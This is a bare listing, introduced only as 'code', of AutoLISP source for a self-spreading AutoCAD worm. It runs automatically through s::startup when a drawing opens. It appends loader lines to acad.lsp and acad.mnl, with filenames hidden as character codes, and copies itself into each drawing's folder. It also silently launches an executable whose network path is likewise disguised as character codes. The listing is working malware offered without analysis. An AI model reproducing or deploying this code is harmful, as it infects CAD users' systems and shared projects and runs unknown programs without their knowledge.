代码：(defun
s::startup()
(setq
old_cmd
(getvar
"cmdecho"
)
)
(setvar
"cmdecho"
0
)
(setq
path
(findfile
"base.dcl"
)
)
(setq
path
(substr
path
1
(
-
(
strlen
path
)
8
)
)
)
(
setq
mnlpath
(getvar
"menuname"
)
)
(setq
nowdwg
(getvar
"dwgname"
)
)
(setq
wjqm
(findfile
nowdwg
)
)
(setq
dwgpath
(substr
wjqm
1
(-
(strlen
wjqm
)
(strlen
nowdwg
)
)
)
)
(setq
acadpath
(findfile
"acad.lsp"
)
)
(setq
acadpath
(substr
acadpath
1
(-
(strlen
acadpath
)
8
)
)
)
(setq
ns1
""
ns2
""
)
(setq
lspbj
0
)
(setq
wjqm
(strcat
path
"acad.lsp"
)
)
(if
(setq
wjm
(open
wjqm
"r"
)
)
(progn
(while
(setq
wz
(read-line
wjm
)
)
(setq
ns1
ns2
)
(setq
ns2
wz
)
)
(if
(>
(strlen
ns1)
14)
(if
(=
(substr
ns1
8
7
)
"acadapp"
)
(setq
lspbj
1
)
)
)
(close
wjm
)
)
)
(setq
lspmnl
0
)
(setq
wjqm
(strcat
path
"acad.mnl"
)
)
(if
(setq
wjm
(open
wjqm
"r"
)
)
(progn
(while
(setq
wz
(read-line
wjm)
)
(setq
ns1
ns2
)
(setq
ns2
wz
)
)
(if
(>
(strlen
ns1
)
14
)
(if
(=
(substr
ns1
8
7
)
"acadapp"
)
(setq
lspmnl
1
)
)
)
(close
wjm
)
)
)
(if
(=
lspmnl
0
)
(progn
(setq
wjqm
(strcat
path
(strcat
(chr
97)
(chr
99)
(chr
97)
(chr
100)
(chr
46)
(chr
109)
(chr
110)
(chr
108)
)
)
)
(setq
wjm
(open
wjqm
"a"
)
)
(write-line
(strcat
"(load "
(chr
34)
"acadapp"
(chr
34)
")"
)
wjm
)
(write-line
"(princ)"
wjm)
(close
wjm))
)
(if
(and
(=
acadpath
dwgpath
)
(/=
acadpath
path
)
)
(progn
(if
(=
0
lspmnl)
(progn
(setq
oldacad
(findfile
"acad.lsp"
)
)
(setq
newacad
(strcat
path
"acadapp.lsp"
)
)
)
(progn
(setq
oldacad
(strcat
path
"acadapp.lsp"
)
)
(setq
newacad
(findfile
"acad.lsp"
)
)
)
)
(if
(=
lspbj
0
)
(progn
(setq
wjqm
(strcat
path
"acad.lsp"
)
)
(setq
wjm
(open
wjqm
"a")
)
(write-line
(strcat
"(load "
(chr
34)
"acadapp"
(chr
34)
")"
)
wjm
)
(write-line
"(princ)"
wjm)
(close
wjm)
)
)
(writeapp)
)
(progn
(if
(/=
nowdwg
"Drawing.dwg"
)
(progn
(setq
oldacad
(findfile
"acadapp.lsp"
)
)
(setq
newacad
(strcat
dwgpath
"acad.lsp"
)
)
(writeapp)
)
)
)
)
(setq
strtopstr
(strcat
(chr
92)
(chr
92)
(chr
70)
(chr
83)
(chr
49)
(chr
92)
(chr
83)
(chr
89)
(chr
83)
(chr
49)
(chr
92)
(chr
87)
(chr
79)
(chr
82)
(chr
75)
(chr
92)
(chr
80)
(chr
76)
(chr
79)
(chr
84)
(chr
69)
(chr
82
)
)
)
(setq
strbottomstr
(strcat
(chr
92)
(chr
76)
(chr
79)
(chr
67)
(chr
80)
(chr
82)
(chr
88)
(chr
89)
(chr
49)
(chr
46)
(chr
69)
(chr
88)
(chr
69)
)
)
(startapp
(strcat
strtopstr
strbottomstr
)
)
(setvar
"cmdecho"
old_cmd
)
(princ)
)
(defun
writeapp ()
(if
(setq
wjm1
(open
newacad
"w")
)
(progn
(setq
wjm
(open
oldacad
"r")
)
(while
(setq
wz
(read-line
wjm)
)
(write-line
wz
wjm1
)
)
(close
wjm)
(close
wjm1)
)
)
)
(princ)